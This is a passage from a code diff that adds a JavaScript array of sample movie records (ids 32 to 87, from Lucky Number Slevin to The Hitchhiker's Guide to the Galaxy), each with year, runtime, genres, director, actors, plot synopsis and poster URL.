unexpected events, all for the sake of weed, cash and two antique shotguns.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTAyN2JmZmEtNjAyMy00NzYwLThmY2MtYWQ3OGNhNjExMmM4XkEyXkFqcGdeQXVyNDk3NzU2MTQ@._V1_SX300.jpg", + }, + { + id: 32, + title: "Lucky Number Slevin", + year: "2006", + runtime: "110", + genres: ["Crime", "Drama", "Mystery"], + director: "Paul McGuigan", + actors: "Josh Hartnett, Bruce Willis, Lucy Liu, Morgan Freeman", + plot: "A case of mistaken identity lands Slevin into the middle of a war being plotted by two of the city's most rival crime bosses: The Rabbi and The Boss. Slevin is under constant surveillance by relentless Detective Brikowski as well as the infamous assassin Goodkat and finds himself having to hatch his own ingenious plot to get them before they get him.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMzc1OTEwMTk4OF5BMl5BanBnXkFtZTcwMTEzMDQzMQ@@._V1_SX300.jpg", + }, + { + id: 33, + title: "Rear Window", + year: "1954", + runtime: "112", + genres: ["Mystery", "Thriller"], + director: "Alfred Hitchcock", + actors: "James Stewart, Grace Kelly, Wendell Corey, Thelma Ritter", + plot: "A wheelchair-bound photographer spies on his neighbours from his apartment window and becomes convinced one of them has committed murder.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNGUxYWM3M2MtMGM3Mi00ZmRiLWE0NGQtZjE5ODI2OTJhNTU0XkEyXkFqcGdeQXVyMTQxNzMzNDI@._V1_SX300.jpg", + }, + { + id: 34, + title: "Pan's Labyrinth", + year: "2006", + runtime: "118", + genres: ["Drama", "Fantasy", "War"], + director: "Guillermo del Toro", + actors: "Ivana Baquero, Sergi López, Maribel Verdú, Doug Jones", + plot: "In the falangist Spain of 1944, the bookish young stepdaughter of a sadistic army officer escapes into an eerie but captivating fantasy world.", + posterUrl: "", + }, + { + id: 35, + title: "Shutter Island", + year: "2010", + runtime: "138", + genres: ["Mystery", "Thriller"], + director: "Martin Scorsese", + actors: "Leonardo DiCaprio, Mark Ruffalo, Ben Kingsley, Max von Sydow", + plot: "In 1954, a U.S. marshal investigates the disappearance of a murderess who escaped from a hospital for the criminally insane.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTMxMTIyNzMxMV5BMl5BanBnXkFtZTcwOTc4OTI3Mg@@._V1_SX300.jpg", + }, + { + id: 36, + title: "Reservoir Dogs", + year: "1992", + runtime: "99", + genres: ["Crime", "Drama", "Thriller"], + director: "Quentin Tarantino", + actors: "Harvey Keitel, Tim Roth, Michael Madsen, Chris Penn", + plot: "After a simple jewelry heist goes terribly wrong, the surviving criminals begin to suspect that one of them is a police informant.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNjE5ZDJiZTQtOGE2YS00ZTc5LTk0OGUtOTg2NjdjZmVlYzE2XkEyXkFqcGdeQXVyMzM4MjM0Nzg@._V1_SX300.jpg", + }, + { + id: 37, + title: "The Shining", + year: "1980", + runtime: "146", + genres: ["Drama", "Horror"], + director: "Stanley Kubrick", + actors: "Jack Nicholson, Shelley Duvall, Danny Lloyd, Scatman Crothers", + plot: "A family heads to an isolated hotel for the winter where an evil and spiritual presence influences the father into violence, while his psychic son sees horrific forebodings from the past and of the future.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BODMxMjE3NTA4Ml5BMl5BanBnXkFtZTgwNDc0NTIxMDE@._V1_SX300.jpg", + }, + { + id: 38, + title: "Midnight in Paris", + year: "2011", + runtime: "94", + genres: ["Comedy", "Fantasy", "Romance"], + director: "Woody Allen", + actors: "Owen Wilson, Rachel McAdams, Kurt Fuller, Mimi Kennedy", + plot: "While on a trip to Paris with his fiancée's family, a nostalgic screenwriter finds himself mysteriously going back to the 1920s everyday at midnight.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTM4NjY1MDQwMl5BMl5BanBnXkFtZTcwNTI3Njg3NA@@._V1_SX300.jpg", + }, + { + id: 39, + title: "Les Misérables", + year: "2012", + runtime: "158", + genres: ["Drama", "Musical", "Romance"], + director: "Tom Hooper", + actors: "Hugh Jackman, Russell Crowe, Anne Hathaway, Amanda Seyfried", + plot: "In 19th-century France, Jean Valjean, who for decades has been hunted by the ruthless policeman Javert after breaking parole, agrees to care for a factory worker's daughter. The decision changes their lives forever.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTQ4NDI3NDg4M15BMl5BanBnXkFtZTcwMjY5OTI1OA@@._V1_SX300.jpg", + }, + { + id: 40, + title: "L.A. Confidential", + year: "1997", + runtime: "138", + genres: ["Crime", "Drama", "Mystery"], + director: "Curtis Hanson", + actors: "Kevin Spacey, Russell Crowe, Guy Pearce, James Cromwell", + plot: "As corruption grows in 1950s LA, three policemen - one strait-laced, one brutal, and one sleazy - investigate a series of murders with their own brand of justice.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BNWEwNDhhNWUtYWMzNi00ZTNhLWFiZDAtMjBjZmJhMTU0ZTY2XkEyXkFqcGdeQXVyNDk3NzU2MTQ@._V1_SX300.jpg", + }, + { + id: 41, + title: "Moneyball", + year: "2011", + runtime: "133", + genres: ["Biography", "Drama", "Sport"], + director: "Bennett Miller", + actors: "Brad Pitt, Jonah Hill, Philip Seymour Hoffman, Robin Wright", + plot: "Oakland A's general manager Billy Beane's successful attempt to assemble a baseball team on a lean budget by employing computer-generated analysis to acquire new players.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjAxOTU3Mzc1M15BMl5BanBnXkFtZTcwMzk1ODUzNg@@._V1_SX300.jpg", + }, + { + id: 42, + title: "The Hangover", + year: "2009", + runtime: "100", + genres: ["Comedy"], + director: "Todd Phillips", + actors: "Bradley Cooper, Ed Helms, Zach Galifianakis, Justin Bartha", + plot: "Three buddies wake up from a bachelor party in Las Vegas, with no memory of the previous night and the bachelor missing. They make their way around the city in order to find their friend before his wedding.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTU1MDA1MTYwMF5BMl5BanBnXkFtZTcwMDcxMzA1Mg@@._V1_SX300.jpg", + }, + { + id: 43, + title: "The Great Beauty", + year: "2013", + runtime: "141", + genres: ["Drama"], + director: "Paolo Sorrentino", + actors: "Toni Servillo, Carlo Verdone, Sabrina Ferilli, Carlo Buccirosso", + plot: "Jep Gambardella has seduced his way through the lavish nightlife of Rome for decades, but after his 65th birthday and a shock from the past, Jep looks past the nightclubs and parties to find a timeless landscape of absurd, exquisite beauty.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTQ0ODg1OTQ2Nl5BMl5BanBnXkFtZTgwNTc2MDY1MDE@._V1_SX300.jpg", + }, + { + id: 44, + title: "Gran Torino", + year: "2008", + runtime: "116", + genres: ["Drama"], + director: "Clint Eastwood", + actors: "Clint Eastwood, Christopher Carley, Bee Vang, Ahney Her", + plot: "Disgruntled Korean War veteran Walt Kowalski sets out to reform his neighbor, a Hmong teenager who tried to steal Kowalski's prized possession: a 1972 Gran Torino.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTQyMTczMTAxMl5BMl5BanBnXkFtZTcwOTc1ODE0Mg@@._V1_SX300.jpg", + }, + { + id: 45, + title: "Mary and Max", + year: "2009", + runtime: "92", + genres: ["Animation", "Comedy", "Drama"], + director: "Adam Elliot", + actors: "Toni Collette, Philip Seymour Hoffman, Barry Humphries, Eric Bana", + plot: "A tale of friendship between two unlikely pen pals: Mary, a lonely, eight-year-old girl living in the suburbs of Melbourne, and Max, a forty-four-year old, severely obese man living in New York.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTQ1NDIyNTA1Nl5BMl5BanBnXkFtZTcwMjc2Njk3OA@@._V1_SX300.jpg", + }, + { + id: 46, + title: "Flight", + year: "2012", + runtime: "138", + genres: ["Drama", "Thriller"], + director: "Robert Zemeckis", + actors: + "Nadine Velazquez, Denzel Washington, Carter Cabassa, Adam C. Edwards", + plot: "An airline pilot saves almost all his passengers on his malfunctioning airliner which eventually crashed, but an investigation into the accident reveals something troubling.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTUxMjI1OTMxNl5BMl5BanBnXkFtZTcwNjc3NTY1OA@@._V1_SX300.jpg", + }, + { + id: 47, + title: "One Flew Over the Cuckoo's Nest", + year: "1975", + runtime: "133", + genres: ["Drama"], + director: "Milos Forman", + actors: "Michael Berryman, Peter Brocco, Dean R. Brooks, Alonzo Brown", + plot: "A criminal pleads insanity after getting into trouble again and once in the mental institution rebels against the oppressive nurse and rallies up the scared patients.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BYmJkODkwOTItZThjZC00MTE0LWIxNzQtYTM3MmQwMGI1OWFiXkEyXkFqcGdeQXVyNjUwNzk3NDc@._V1_SX300.jpg", + }, + { + id: 48, + title: "Requiem for a Dream", + year: "2000", + runtime: "102", + genres: ["Drama"], + director: "Darren Aronofsky", + actors: "Ellen Burstyn, Jared Leto, Jennifer Connelly, Marlon Wayans", + plot: "The drug-induced utopias of four Coney Island people are shattered when their addictions run deep.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTkzODMzODYwOF5BMl5BanBnXkFtZTcwODM2NjA2NQ@@._V1_SX300.jpg", + }, + { + id: 49, + title: "The Truman Show", + year: "1998", + runtime: "103", + genres: ["Comedy", "Drama", "Sci-Fi"], + director: "Peter Weir", + actors: "Jim Carrey, Laura Linney, Noah Emmerich, Natascha McElhone", + plot: "An insurance salesman/adjuster discovers his entire life is actually a television show.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMDIzODcyY2EtMmY2MC00ZWVlLTgwMzAtMjQwOWUyNmJjNTYyXkEyXkFqcGdeQXVyNDk3NzU2MTQ@._V1_SX300.jpg", + }, + { + id: 50, + title: "The Artist", + year: "2011", + runtime: "100", + genres: ["Comedy", "Drama", "Romance"], + director: "Michel Hazanavicius", + actors: "Jean Dujardin, Bérénice Bejo, John Goodman, James Cromwell", + plot: "A silent movie star meets a young dancer, but the arrival of talking pictures sends their careers in opposite directions.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMzk0NzQxMTM0OV5BMl5BanBnXkFtZTcwMzU4MDYyNQ@@._V1_SX300.jpg", + }, + { + id: 51, + title: "Forrest Gump", + year: "1994", + runtime: "142", + genres: ["Comedy", "Drama"], + director: "Robert Zemeckis", + actors: + "Tom Hanks, Rebecca Williams, Sally Field, Michael Conner Humphreys", + plot: "Forrest Gump, while not intelligent, has accidentally been present at many historic moments, but his true love, Jenny Curran, eludes him.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BYThjM2MwZGMtMzg3Ny00NGRkLWE4M2EtYTBiNWMzOTY0YTI4XkEyXkFqcGdeQXVyNDYyMDk5MTU@._V1_SX300.jpg", + }, + { + id: 52, + title: "The Hobbit: The Desolation of Smaug", + year: "2013", + runtime: "161", + genres: ["Adventure", "Fantasy"], + director: "Peter Jackson", + actors: "Ian McKellen, Martin Freeman, Richard Armitage, Ken Stott", + plot: "The dwarves, along with Bilbo Baggins and Gandalf the Grey, continue their quest to reclaim Erebor, their homeland, from Smaug. Bilbo Baggins is in possession of a mysterious and magical ring.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMzU0NDY0NDEzNV5BMl5BanBnXkFtZTgwOTIxNDU1MDE@._V1_SX300.jpg", + }, + { + id: 53, + title: "Vicky Cristina Barcelona", + year: "2008", + runtime: "96", + genres: ["Drama", "Romance"], + director: "Woody Allen", + actors: + "Rebecca Hall, Scarlett Johansson, Christopher Evan Welch, Chris Messina", + plot: "Two girlfriends on a summer holiday in Spain become enamored with the same painter, unaware that his ex-wife, with whom he has a tempestuous relationship, is about to re-enter the picture.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTU2NDQ4MTg2MV5BMl5BanBnXkFtZTcwNDUzNjU3MQ@@._V1_SX300.jpg", + }, + { + id: 54, + title: "Slumdog Millionaire", + year: "2008", + runtime: "120", + genres: ["Drama", "Romance"], + director: "Danny Boyle, Loveleen Tandan", + actors: "Dev Patel, Saurabh Shukla, Anil Kapoor, Rajendranath Zutshi", + plot: 'A Mumbai teen reflects on his upbringing in the slums when he is accused of cheating on the Indian Version of "Who Wants to be a Millionaire?"', + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTU2NTA5NzI0N15BMl5BanBnXkFtZTcwMjUxMjYxMg@@._V1_SX300.jpg", + }, + { + id: 55, + title: "Lost in Translation", + year: "2003", + runtime: "101", + genres: ["Drama"], + director: "Sofia Coppola", + actors: + "Scarlett Johansson, Bill Murray, Akiko Takeshita, Kazuyoshi Minamimagoe", + plot: "A faded movie star and a neglected young woman form an unlikely bond after crossing paths in Tokyo.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTI2NDI5ODk4N15BMl5BanBnXkFtZTYwMTI3NTE3._V1_SX300.jpg", + }, + { + id: 56, + title: "Match Point", + year: "2005", + runtime: "119", + genres: ["Drama", "Romance", "Thriller"], + director: "Woody Allen", + actors: + "Jonathan Rhys Meyers, Alexander Armstrong, Paul Kaye, Matthew Goode", + plot: "At a turning point in his life, a former tennis pro falls for an actress who happens to be dating his friend and soon-to-be brother-in-law.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTMzNzY4MzE5NF5BMl5BanBnXkFtZTcwMzQ1MDMzMQ@@._V1_SX300.jpg", + }, + { + id: 57, + title: "Psycho", + year: "1960", + runtime: "109", + genres: ["Horror", "Mystery", "Thriller"], + director: "Alfred Hitchcock", + actors: "Anthony Perkins, Vera Miles, John Gavin, Janet Leigh", + plot: "A Phoenix secretary embezzles $40,000 from her employer's client, goes on the run, and checks into a remote motel run by a young man under the domination of his mother.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMDI3OWRmOTEtOWJhYi00N2JkLTgwNGItMjdkN2U0NjFiZTYwXkEyXkFqcGdeQXVyMTQxNzMzNDI@._V1_SX300.jpg", + }, + { + id: 58, + title: "North by Northwest", + year: "1959", + runtime: "136", + genres: ["Action", "Adventure", "Crime"], + director: "Alfred Hitchcock", + actors: "Cary Grant, Eva Marie Saint, James Mason, Jessie Royce Landis", + plot: "A hapless New York advertising executive is mistaken for a government agent by a group of foreign spies, and is pursued across the country while he looks for a way to survive.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMjQwMTQ0MzgwNl5BMl5BanBnXkFtZTgwNjc4ODE4MzE@._V1_SX300.jpg", + }, + { + id: 59, + title: "Madagascar: Escape 2 Africa", + year: "2008", + runtime: "89", + genres: ["Animation", "Action", "Adventure"], + director: "Eric Darnell, Tom McGrath", + actors: "Ben Stiller, Chris Rock, David Schwimmer, Jada Pinkett Smith", + plot: "The animals try to fly back to New York City, but crash-land on an African wildlife refuge, where Alex is reunited with his parents.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjExMDA4NDcwMl5BMl5BanBnXkFtZTcwODAxNTQ3MQ@@._V1_SX300.jpg", + }, + { + id: 60, + title: "Despicable Me 2", + year: "2013", + runtime: "98", + genres: ["Animation", "Adventure", "Comedy"], + director: "Pierre Coffin, Chris Renaud", + actors: "Steve Carell, Kristen Wiig, Benjamin Bratt, Miranda Cosgrove", + plot: "When Gru, the world's most super-bad turned super-dad has been recruited by a team of officials to stop lethal muscle and a host of Gru's own, He has to fight back with new gadgetry, cars, and more minion madness.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjExNjAyNTcyMF5BMl5BanBnXkFtZTgwODQzMjQ3MDE@._V1_SX300.jpg", + }, + { + id: 61, + title: "Downfall", + year: "2004", + runtime: "156", + genres: ["Biography", "Drama", "History"], + director: "Oliver Hirschbiegel", + actors: + "Bruno Ganz, Alexandra Maria Lara, Corinna Harfouch, Ulrich Matthes", + plot: "Traudl Junge, the final secretary for Adolf Hitler, tells of the Nazi dictator's final days in his Berlin bunker at the end of WWII.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTM1OTI1MjE2Nl5BMl5BanBnXkFtZTcwMTEwMzc4NA@@._V1_SX300.jpg", + }, + { + id: 62, + title: "Madagascar", + year: "2005", + runtime: "86", + genres: ["Animation", "Adventure", "Comedy"], + director: "Eric Darnell, Tom McGrath", + actors: "Ben Stiller, Chris Rock, David Schwimmer, Jada Pinkett Smith", + plot: "Spoiled by their upbringing with no idea what wild life is really like, four animals from New York Central Zoo escape, unwittingly assisted by four absconding penguins, and find themselves in Madagascar, among a bunch of merry lemurs", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTY4NDUwMzQxMF5BMl5BanBnXkFtZTcwMDgwNjgyMQ@@._V1_SX300.jpg", + }, + { + id: 63, + title: "Madagascar 3: Europe's Most Wanted", + year: "2012", + runtime: "93", + genres: ["Animation", "Adventure", "Comedy"], + director: "Eric Darnell, Tom McGrath, Conrad Vernon", + actors: "Ben Stiller, Chris Rock, David Schwimmer, Jada Pinkett Smith", + plot: "Alex, Marty, Gloria and Melman are still fighting to get home to their beloved Big Apple. Their journey takes them through Europe where they find the perfect cover: a traveling circus, which they reinvent - Madagascar style.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTM2MTIzNzk2MF5BMl5BanBnXkFtZTcwMDcwMzQxNw@@._V1_SX300.jpg", + }, + { + id: 64, + title: "God Bless America", + year: "2011", + runtime: "105", + genres: ["Comedy", "Crime"], + director: "Bobcat Goldthwait", + actors: + "Joel Murray, Tara Lynne Barr, Melinda Page Hamilton, Mackenzie Brooke Smith", + plot: "On a mission to rid society of its most repellent citizens, terminally ill Frank makes an unlikely accomplice in 16-year-old Roxy.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTQwMTc1MzA4NF5BMl5BanBnXkFtZTcwNzQwMTgzNw@@._V1_SX300.jpg", + }, + { + id: 65, + title: "The Social Network", + year: "2010", + runtime: "120", + genres: ["Biography", "Drama"], + director: "David Fincher", + actors: "Jesse Eisenberg, Rooney Mara, Bryan Barter, Dustin Fitzsimons", + plot: "Harvard student Mark Zuckerberg creates the social networking site that would become known as Facebook, but is later sued by two brothers who claimed he stole their idea, and the co-founder who was later squeezed out of the business.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTM2ODk0NDAwMF5BMl5BanBnXkFtZTcwNTM1MDc2Mw@@._V1_SX300.jpg", + }, + { + id: 66, + title: "The Pianist", + year: "2002", + runtime: "150", + genres: ["Biography", "Drama", "War"], + director: "Roman Polanski", + actors: "Adrien Brody, Emilia Fox, Michal Zebrowski, Ed Stoppard", + plot: "A Polish Jewish musician struggles to survive the destruction of the Warsaw ghetto of World War II.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTc4OTkyOTA3OF5BMl5BanBnXkFtZTYwMDIxNjk5._V1_SX300.jpg", + }, + { + id: 67, + title: "Alive", + year: "1993", + runtime: "120", + genres: ["Adventure", "Biography", "Drama"], + director: "Frank Marshall", + actors: "Ethan Hawke, Vincent Spano, Josh Hamilton, Bruce Ramsay", + plot: "Uruguayan rugby team stranded in the snow swept Andes are forced to use desperate measures to survive after a plane crash.", + posterUrl: "", + }, + { + id: 68, + title: "Casablanca", + year: "1942", + runtime: "102", + genres: ["Drama", "Romance", "War"], + director: "Michael Curtiz", + actors: "Humphrey Bogart, Ingrid Bergman, Paul Henreid, Claude Rains", + plot: "In Casablanca, Morocco in December 1941, a cynical American expatriate meets a former lover, with unforeseen complications.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjQwNDYyNTk2N15BMl5BanBnXkFtZTgwMjQ0OTMyMjE@._V1_SX300.jpg", + }, + { + id: 69, + title: "American Gangster", + year: "2007", + runtime: "157", + genres: ["Biography", "Crime", "Drama"], + director: "Ridley Scott", + actors: "Denzel Washington, Russell Crowe, Chiwetel Ejiofor, Josh Brolin", + plot: "In 1970s America, a detective works to bring down the drug empire of Frank Lucas, a heroin kingpin from Manhattan, who is smuggling the drug into the country from the Far East.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTkyNzY5MDA5MV5BMl5BanBnXkFtZTcwMjg4MzI3MQ@@._V1_SX300.jpg", + }, + { + id: 70, + title: "Catch Me If You Can", + year: "2002", + runtime: "141", + genres: ["Biography", "Crime", "Drama"], + director: "Steven Spielberg", + actors: "Leonardo DiCaprio, Tom Hanks, Christopher Walken, Martin Sheen", + plot: "The true story of Frank Abagnale Jr. who, before his 19th birthday, successfully conned millions of dollars' worth of checks as a Pan Am pilot, doctor, and legal prosecutor.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTY5MzYzNjc5NV5BMl5BanBnXkFtZTYwNTUyNTc2._V1_SX300.jpg", + }, + { + id: 71, + title: "American History X", + year: "1998", + runtime: "119", + genres: ["Crime", "Drama"], + director: "Tony Kaye", + actors: "Edward Norton, Edward Furlong, Beverly D'Angelo, Jennifer Lien", + plot: "A former neo-nazi skinhead tries to prevent his younger brother from going down the same wrong path that he did.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BZjA0MTM4MTQtNzY5MC00NzY3LWI1ZTgtYzcxMjkyMzU4MDZiXkEyXkFqcGdeQXVyNDYyMDk5MTU@._V1_SX300.jpg", + }, + { + id: 72, + title: "Casino", + year: "1995", + runtime: "178", + genres: ["Biography", "Crime", "Drama"], + director: "Martin Scorsese", + actors: "Robert De Niro, Sharon Stone, Joe Pesci, James Woods", + plot: "Greed, deception, money, power, and murder occur between two best friends, a mafia underboss and a casino owner, for a trophy wife over a gambling empire.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTcxOWYzNDYtYmM4YS00N2NkLTk0NTAtNjg1ODgwZjAxYzI3XkEyXkFqcGdeQXVyNTA4NzY1MzY@._V1_SX300.jpg", + }, + { + id: 73, + title: "Pirates of the Caribbean: At World's End", + year: "2007", + runtime: "169", + genres: ["Action", "Adventure", "Fantasy"], + director: "Gore Verbinski", + actors: "Johnny Depp, Geoffrey Rush, Orlando Bloom, Keira Knightley", + plot: "Captain Barbossa, Will Turner and Elizabeth Swann must sail off the edge of the map, navigate treachery and betrayal, find Jack Sparrow, and make their final alliances for one last decisive battle.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjIyNjkxNzEyMl5BMl5BanBnXkFtZTYwMjc3MDE3._V1_SX300.jpg", + }, + { + id: 74, + title: "Pirates of the Caribbean: On Stranger Tides", + year: "2011", + runtime: "136", + genres: ["Action", "Adventure", "Fantasy"], + director: "Rob Marshall", + actors: "Johnny Depp, Penélope Cruz, Geoffrey Rush, Ian McShane", + plot: "Jack Sparrow and Barbossa embark on a quest to find the elusive fountain of youth, only to discover that Blackbeard and his daughter are after it too.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMjE5MjkwODI3Nl5BMl5BanBnXkFtZTcwNjcwMDk4NA@@._V1_SX300.jpg", + }, + { + id: 75, + title: "Crash", + year: "2004", + runtime: "112", + genres: ["Crime", "Drama", "Thriller"], + director: "Paul Haggis", + actors: "Karina Arroyave, Dato Bakhtadze, Sandra Bullock, Don Cheadle", + plot: "Los Angeles citizens with vastly separate lives collide in interweaving stories of race, loss and redemption.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BOTk1OTA1MjIyNV5BMl5BanBnXkFtZTcwODQxMTkyMQ@@._V1_SX300.jpg", + }, + { + id: 76, + title: "Pirates of the Caribbean: The Curse of the Black Pearl", + year: "2003", + runtime: "143", + genres: ["Action", "Adventure", "Fantasy"], + director: "Gore Verbinski", + actors: "Johnny Depp, Geoffrey Rush, Orlando Bloom, Keira Knightley", + plot: "Blacksmith Will Turner teams up with eccentric pirate \"Captain\" Jack Sparrow to save his love, the governor's daughter, from Jack's former pirate allies, who are now undead.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjAyNDM4MTc2N15BMl5BanBnXkFtZTYwNDk0Mjc3._V1_SX300.jpg", + }, + { + id: 77, + title: "The Lord of the Rings: The Return of the King", + year: "2003", + runtime: "201", + genres: ["Action", "Adventure", "Drama"], + director: "Peter Jackson", + actors: "Noel Appleby, Ali Astin, Sean Astin, David Aston", + plot: "Gandalf and Aragorn lead the World of Men against Sauron's army to draw his gaze from Frodo and Sam as they approach Mount Doom with the One Ring.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjE4MjA1NTAyMV5BMl5BanBnXkFtZTcwNzM1NDQyMQ@@._V1_SX300.jpg", + }, + { + id: 78, + title: "Oldboy", + year: "2003", + runtime: "120", + genres: ["Drama", "Mystery", "Thriller"], + director: "Chan-wook Park", + actors: "Min-sik Choi, Ji-tae Yu, Hye-jeong Kang, Dae-han Ji", + plot: "After being kidnapped and imprisoned for 15 years, Oh Dae-Su is released, only to find that he must find his captor in 5 days.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTI3NTQyMzU5M15BMl5BanBnXkFtZTcwMTM2MjgyMQ@@._V1_SX300.jpg", + }, + { + id: 79, + title: "Chocolat", + year: "2000", + runtime: "121", + genres: ["Drama", "Romance"], + director: "Lasse Hallström", + actors: + "Alfred Molina, Carrie-Anne Moss, Aurelien Parent Koenig, Antonio Gil", + plot: "A woman and her daughter open a chocolate shop in a small French village that shakes up the rigid morality of the community.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjA4MDI3NTQwMV5BMl5BanBnXkFtZTcwNjIzNDcyMQ@@._V1_SX300.jpg", + }, + { + id: 80, + title: "Casino Royale", + year: "2006", + runtime: "144", + genres: ["Action", "Adventure", "Thriller"], + director: "Martin Campbell", + actors: "Daniel Craig, Eva Green, Mads Mikkelsen, Judi Dench", + plot: "Armed with a licence to kill, Secret Agent James Bond sets out on his first mission as 007 and must defeat a weapons dealer in a high stakes game of poker at Casino Royale, but things are not what they seem.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTM5MjI4NDExNF5BMl5BanBnXkFtZTcwMDM1MjMzMQ@@._V1_SX300.jpg", + }, + { + id: 81, + title: "WALL·E", + year: "2008", + runtime: "98", + genres: ["Animation", "Adventure", "Family"], + director: "Andrew Stanton", + actors: "Ben Burtt, Elissa Knight, Jeff Garlin, Fred Willard", + plot: "In the distant future, a small waste-collecting robot inadvertently embarks on a space journey that will ultimately decide the fate of mankind.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTczOTA3MzY2N15BMl5BanBnXkFtZTcwOTYwNjE2MQ@@._V1_SX300.jpg", + }, + { + id: 82, + title: "The Wolf of Wall Street", + year: "2013", + runtime: "180", + genres: ["Biography", "Comedy", "Crime"], + director: "Martin Scorsese", + actors: "Leonardo DiCaprio, Jonah Hill, Margot Robbie, Matthew McConaughey", + plot: "Based on the true story of Jordan Belfort, from his rise to a wealthy stock-broker living the high life to his fall involving crime, corruption and the federal government.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjIxMjgxNTk0MF5BMl5BanBnXkFtZTgwNjIyOTg2MDE@._V1_SX300.jpg", + }, + { + id: 83, + title: "Hellboy II: The Golden Army", + year: "2008", + runtime: "120", + genres: ["Action", "Adventure", "Fantasy"], + director: "Guillermo del Toro", + actors: "Ron Perlman, Selma Blair, Doug Jones, John Alexander", + plot: "The mythical world starts a rebellion against humanity in order to rule the Earth, so Hellboy and his team must save the world from the rebellious creatures.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMjA5NzgyMjc2Nl5BMl5BanBnXkFtZTcwOTU3MDI3MQ@@._V1_SX300.jpg", + }, + { + id: 84, + title: "Sunset Boulevard", + year: "1950", + runtime: "110", + genres: ["Drama", "Film-Noir", "Romance"], + director: "Billy Wilder", + actors: "William Holden, Gloria Swanson, Erich von Stroheim, Nancy Olson", + plot: "A hack screenwriter writes a screenplay for a former silent-film star who has faded into Hollywood obscurity.", + posterUrl: + "http://ia.media-imdb.com/images/M/MV5BMTc3NDYzODAwNV5BMl5BanBnXkFtZTgwODg1MTczMTE@._V1_SX300.jpg", + }, + { + id: 85, + title: "I-See-You.Com", + year: "2006", + runtime: "92", + genres: ["Comedy"], + director: "Eric Steven Stahl", + actors: "Beau Bridges, Rosanna Arquette, Mathew Botuchis, Shiri Appleby", + plot: "A 17-year-old boy buys mini-cameras and displays the footage online at I-see-you.com. The cash rolls in as the site becomes a major hit. Everyone seems to have fun until it all comes crashing down....", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMTYwMDUzNzA5Nl5BMl5BanBnXkFtZTcwMjQ2Njk3MQ@@._V1_SX300.jpg", + }, + { + id: 86, + title: "The Grand Budapest Hotel", + year: "2014", + runtime: "99", + genres: ["Adventure", "Comedy", "Crime"], + director: "Wes Anderson", + actors: "Ralph Fiennes, F. Murray Abraham, Mathieu Amalric, Adrien Brody", + plot: "The adventures of Gustave H, a legendary concierge at a famous hotel from the fictional Republic of Zubrowka between the first and second World Wars, and Zero Moustafa, the lobby boy who becomes his most trusted friend.", + posterUrl: + "https://images-na.ssl-images-amazon.com/images/M/MV5BMzM5NjUxOTEyMl5BMl5BanBnXkFtZTgwNjEyMDM0MDE@._V1_SX300.jpg", + }, + { + id: 87, + title: "The Hitchhiker's Guide to the Galaxy", + year: "2005", + runtime: "109", + genres: ["Adventure", "Comedy", "Sci-Fi"], + director: "Garth Jennings", + actors: "Bill Bailey, Anna Chancellor, Warwick Davis, Yasiin Bey", + plot: 'Mere seconds before the Earth is to be demolished by an alien construction crew, journeyman Arthur Dent is swept off the planet by his friend Ford Prefect, a researcher penning a new edition of "The Hitchhiker\'s Guide to the Galaxy."', + 